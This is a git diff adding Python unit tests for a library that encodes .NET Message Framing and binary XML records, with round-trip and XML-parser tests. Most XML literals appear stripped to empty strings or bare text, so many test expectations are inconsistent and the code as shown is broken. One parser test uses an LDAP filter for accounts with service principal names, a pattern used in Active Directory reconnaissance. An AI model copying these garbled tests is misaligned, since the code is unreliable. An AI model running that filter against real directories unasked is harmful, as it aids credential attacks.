a/tests/test_nmf.py b/tests/test_nmf.py new file mode 100644 index 0000000..c1ec8ef --- /dev/null +++ b/tests/test_nmf.py @@ -0,0 +1,166 @@ +import unittest + +from hypothesis import given +from hypothesis.strategies import integers, text, binary + +from src.ms_nmf import ( + NMFRecord, + NMFVersion, + NMFMode, + NMFVia, + NMFKnownEncoding, + NMFSizedEnvelope, + NMFEnd, + NMFFault, + NMFUpgradeRequest, + NMFUpgradeResponse, + NMFPreambleEnd, + NMFPreambleAck, + NMFPreamble, + ) + + +class TestSizeEncoding(unittest.TestCase): + """Testing the variable length field encoding of + [MC-NMF] record sizes. + + The record size feild (payload len) is variable between + 1 and 5 bytes. Or between 0x0 and 0xFFFFFFFF + """ + + + def test_decode_simple(self): + + expected_size = 0x92 + data = b'\x92\01' + + size, _, _ = NMFRecord.decode_size(data) + self.assertEqual(size, expected_size) + + def test_decode_three(self): + data = b'\x80\x81\x01' + expected_size = 0x4080 + + size, _, _ = NMFRecord.decode_size(data) + self.assertEqual(size, expected_size) + + def test_decode_16(self): + data = b'\x10' + expected_size = 0x10 + + size, _, _ = NMFRecord.decode_size(data) + self.assertEqual(size, expected_size) + + # ======= Encode Tests ========= + + def test_encode_simple(self): + + expected_data = b'\x92\01' + size = 0x92 + + data = NMFRecord.encode_size(size) + self.assertEqual(data, expected_data) + + + def test_encode_three_bytes(self): + + expected_data = b'\x80\x81\x01' + size = 0x4080 + + data = NMFRecord.encode_size(size) + self.assertEqual(data, expected_data) + + + def test_encode_16(self): + + expected_data = b'\x10' + size = 0x10 + + data = NMFRecord.encode_size(size) + self.assertEqual(data, expected_data) + + # stress test + + @given(integers(min_value=0x0, max_value=0xFFFFFFFF)) + def test_decoding_invariant(self, i): + self.assertEqual(NMFRecord.decode_size(NMFRecord.encode_size(i))[0], i) + + +class TestRecords(unittest.TestCase): + + + @given(v1=integers(min_value=0x0, max_value=0xff), v2=integers(min_value=0x0, max_value=0xff)) + def test_version_record_invariant(self, v1, v2): + data = NMFVersion(minor_version=v1, major_version=v2).getData() + v = NMFVersion(data=data) + self.assertEqual(v['major_version'], v2) + self.assertEqual(v['minor_version'], v1) + + @given(i=integers(min_value=0x0, max_value=0x4)) + def test_mode_record_invariants(self, i): + data = NMFMode(mode=i).getData() + v = NMFMode(data=data) + self.assertEqual(v['mode'], i) + + @given(s=text(max_size=0xFFFFFFFF)) + def test_via_record_invaiant(self, s): + data = NMFVia(s).getData() + v = NMFVia(data=data) + self.assertEqual(v['via'], s) + + @given(i=integers(min_value=0x0, max_value=0xff)) + def test_knownencoding_record_invariant(self, i): + data = NMFKnownEncoding(i).getData() + v = NMFKnownEncoding(data=data) + self.assertEqual(v['encoding'], i) + + @given(b=binary(max_size=0xffffffff)) + def test_sizedenvelope_invaiant(self, b): + data = NMFSizedEnvelope(b).getData() + v = NMFSizedEnvelope(data=data) + self.assertEqual(v['payload'], b) + + def test_end_record(self): + data = NMFEnd().getData() + v = NMFEnd(data=data) + self.assertEqual(v['record_type'], 0x7) + + @given(s=text(max_size=0xFFFFFFFF)) + def test_fault_record_invaiant(self, s): + data = NMFFault(s).getData() + v = NMFFault(data=data) + self.assertEqual(v['fault'], s) + + @given(s=text(max_size=0xffffffff)) + def test_upgrade_request_record_invariant(self, s): + data = NMFUpgradeRequest(s).getData() + v = NMFUpgradeRequest(data=data) + self.assertEqual(v['proto'], s) + + def test_upgrade_response_record(self): + data = NMFUpgradeResponse().getData() + v = NMFUpgradeResponse(data=data) + self.assertEqual(v['record_type'], 0xA) + + def test_preamble_end_record(self): + data = NMFPreambleEnd().getData() + v = NMFPreambleEnd(data=data) + self.assertEqual(v['record_type'], 0xC) + + def test_preamble_ack_record(self): + data = NMFPreambleAck().getData() + v = NMFPreambleAck(data=data) + self.assertEqual(v['record_type'], 0xB) + + def test_preamble_record(self): + version = (1, 1) + mode = 0x1 + via = "test_via" + encoding = 0x4 + data = NMFPreamble(version, mode, via, encoding).getData() + expected = NMFVersion(*version).getData() + expected += NMFMode(mode).getData() + expected += NMFVia(via).getData() + expected += NMFKnownEncoding(encoding).getData() + self.assertEqual(data, expected) + diff --git a/tests/test_records.py b/tests/test_records.py new file mode 100644 index 0000000..d0825da --- /dev/null +++ b/tests/test_records.py @@ -0,0 +1,124 @@ +import unittest + +from src.encoder.records import record, dump_records, print_records +from src.encoder.records.text import Chars8TextRecord + +import textwrap + +from io import BytesIO, StringIO + +from base64 import b64decode + + +class TestRecord(unittest.TestCase): + def test_collect_records(self): + """All the record types should be assembled + when the Record object is initalized + """ + r = record() + self.assertEqual(len(r.records), 150) + + def test_singlton_records(self): + """There should only be one version + of the records dictionary around for multiple + Record objects + """ + + r1 = record() + r2 = record() + + self.assertTrue(r1.records is r2.records) + + def test_parse_bin_to_record_type(self): + value = b"A\x01a\x04test\x01" + r = record.parse(BytesIO(value)) + self.assertEqual(r[0].type, 0x41) + + def test_parse_bin_to_record_value(self): + value = b"A\x01a\x04test\x01" + r = record.parse(BytesIO(value)) + self.assertEqual(str(r[0]), "") + + def test_parse_Chars8TextRecord_value(self): + value = b64decode("CnhzZDpzdHJpbmeZ") + expected_result = "xsd:string" + r = Chars8TextRecord.parse(BytesIO(value)) + self.assertEqual(r.value, expected_result) + + def test_to_int_complex2(self): + """This caused breaking issues + by miscalculating the size of some of the elements + """ + value = b64decode( + "mAp4c2Q6c3RyaW5nmSQ0MDg5MTk4Yi00NmZkLTQyZjEtYmM1YS03NzA5ZGZlZmUzYzcBQQZhZGRhdGELZGVzY3JpcHRpb24ECkxkYXBTeW50YXiYDVVuaWNvZGVTdHJpbmdBAmFkBXZhbHVlBQN4c2kEdHlwZZg=" + ) + value = BytesIO(value) + value.read(1) + result = Chars8TextRecord.parse(value) + expected = "xsd:string" + + self.assertEqual(result.value, expected) + + +class TestDumpRecords(unittest.TestCase): + def test_parse_bin_to_record_dump(self): + value = b"A\x01a\x04test\x01" + r = record.parse(BytesIO(value)) + + s = dump_records(r) + + self.assertEqual(s, b"A\x01a\x04test\x01") + + +class TestPrintRecords(unittest.TestCase): + def test_dict_basic(self): + value = b"\x56\x08\x01" + expected_result = "" + r = record.parse(BytesIO(value)) + result = print_records(r) + self.assertEqual(result, expected_result) + + def test_dict_complex(self): + value = b"\x44\x0a\x1e\x00\x82\x99\x06\x61\x63\x74\x69\x6f\x6e" + expected_result = 'action' + + r = record.parse(BytesIO(value)) + result = print_records(r) + self.assertEqual(result.replace("\r\n", ""), expected_result) + + def test_dict_xmlns_complex(self): + value = b"\x56\x02\x0b\x01\x61\x06\x0b\x01\x73\x04\x01" + expected_result = '' + + r = record.parse(BytesIO(value)) + result = print_records(r) + self.assertEqual(result.replace("\r\n", ""), expected_result) + + def test_basic(self): + value = b"\x40\x09\x49\x6e\x76\x65\x6e\x74\x6f\x72\x79\x01" + expected_result = "" + + r = record.parse(BytesIO(value)) + result = print_records(r) + self.assertEqual(result.replace("\r\n", ""), expected_result) + + def test_zerowithend_complex(self): + value = b"\x40\x09\x49\x6e\x76\x65\x6e\x74\x6f\x72\x79\x81" + expected_result = "0" + + r = record.parse(BytesIO(value)) + result = print_records(r) + self.assertEqual(result.replace("\r\n", ""), expected_result) + + def test_xmlns_large_complex(self): + self.maxDiff = None + + value = b"V\x02\x0b\x01a\x06\x0b\x01s\x04V\x08D\n\x1e\x00\x82\x99\x06action\x01V\x0e@\tInventory\x81\x01\x01" + + expected_result = """action0""" + + r = record.parse(BytesIO(value)) + + result = print_records(r) + + self.assertEqual(textwrap.dedent(result), textwrap.dedent(expected_result)) diff --git a/tests/test_xmlparser.py b/tests/test_xmlparser.py new file mode 100644 index 0000000..0f42b6d --- /dev/null +++ b/tests/test_xmlparser.py @@ -0,0 +1,102 @@ +from src.encoder import XMLParser +from src.encoder.records import dump_records, print_records +import unittest + + +class TestXMLParserText(unittest.TestCase): + def test_parse_simple(self): + value = "" + r = XMLParser.parse(value) + + s = print_records(r) + + self.assertEqual(s, value) + + def test_parse_basic_case(self): + value = "" + r = XMLParser.parse(value) + + s = print_records(r) + + self.assertEqual(s, value) + + def test_parse_attribute_basic(self): + value = '' + r = XMLParser.parse(value) + s = print_records(r) + + self.assertEqual(s, value) + + def test_parse_complex(self): + value = "(&(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))" + r = XMLParser.parse(value) + s = print_records(r) + + self.assertEqual(s, value) + + +class TestXMLParserBinary(unittest.TestCase): + def test_bin_dict_basic(self): + value = "" + expected_result = b"\x56\x08\x01" + r = XMLParser.parse(value) + + result = dump_records(r) + + self.assertEqual(result, expected_result) + + def test_bin_dict_complex(self): + value = 'action' + expected_result = b"\x44\x0a\x1e\x00\x82\x99\x06\x61\x63\x74\x69\x6f\x6e" + + r = XMLParser.parse(value) + result = dump_records(r) + self.assertEqual(result, expected_result) + + def test_bin_dict_complex2(self): + """ + These are complex cases, see [MC-NBFX]: 2.2.3.31 + """ + + value = "0" + expected_result = b"\x40\x09\x49\x6e\x76\x65\x6e\x74\x6f\x72\x79\x81" + + r = XMLParser.parse(value) + result = dump_records(r) + self.assertEqual(result, expected_result) + + def test_bin_dict_complex3(self): + """ + These are complex cases, see [MC-NBFX]: 2.2.3.31 + """ + + value = "0" + expected_result = ( + b"\x56\x0e\x40\x09\x49\x6e\x76\x65\x6e\x74\x6f\x72\x79\x81\x01" + ) + + r = XMLParser.parse(value) + result = dump_records(r) + self.assertEqual(result, expected_result) + + def test_bin_complex(self): + """ + These are complex cases, see [MC-NBFX]: 2.2.3.31 + """ + self.maxDiff = None + + value = """ + +action + + +0 + +""" + + expected_result = b"V\x02\x0b\x01a\x06\x0b\x01s\x04V\x08D\n\x1e\x00\x82\x99\x06action\x01V\x0e@\tInventory\x81\x01\x01" + + r = XMLParser.parse(value) + result = dump_records(r) + self.assertEqual(result, expected_result)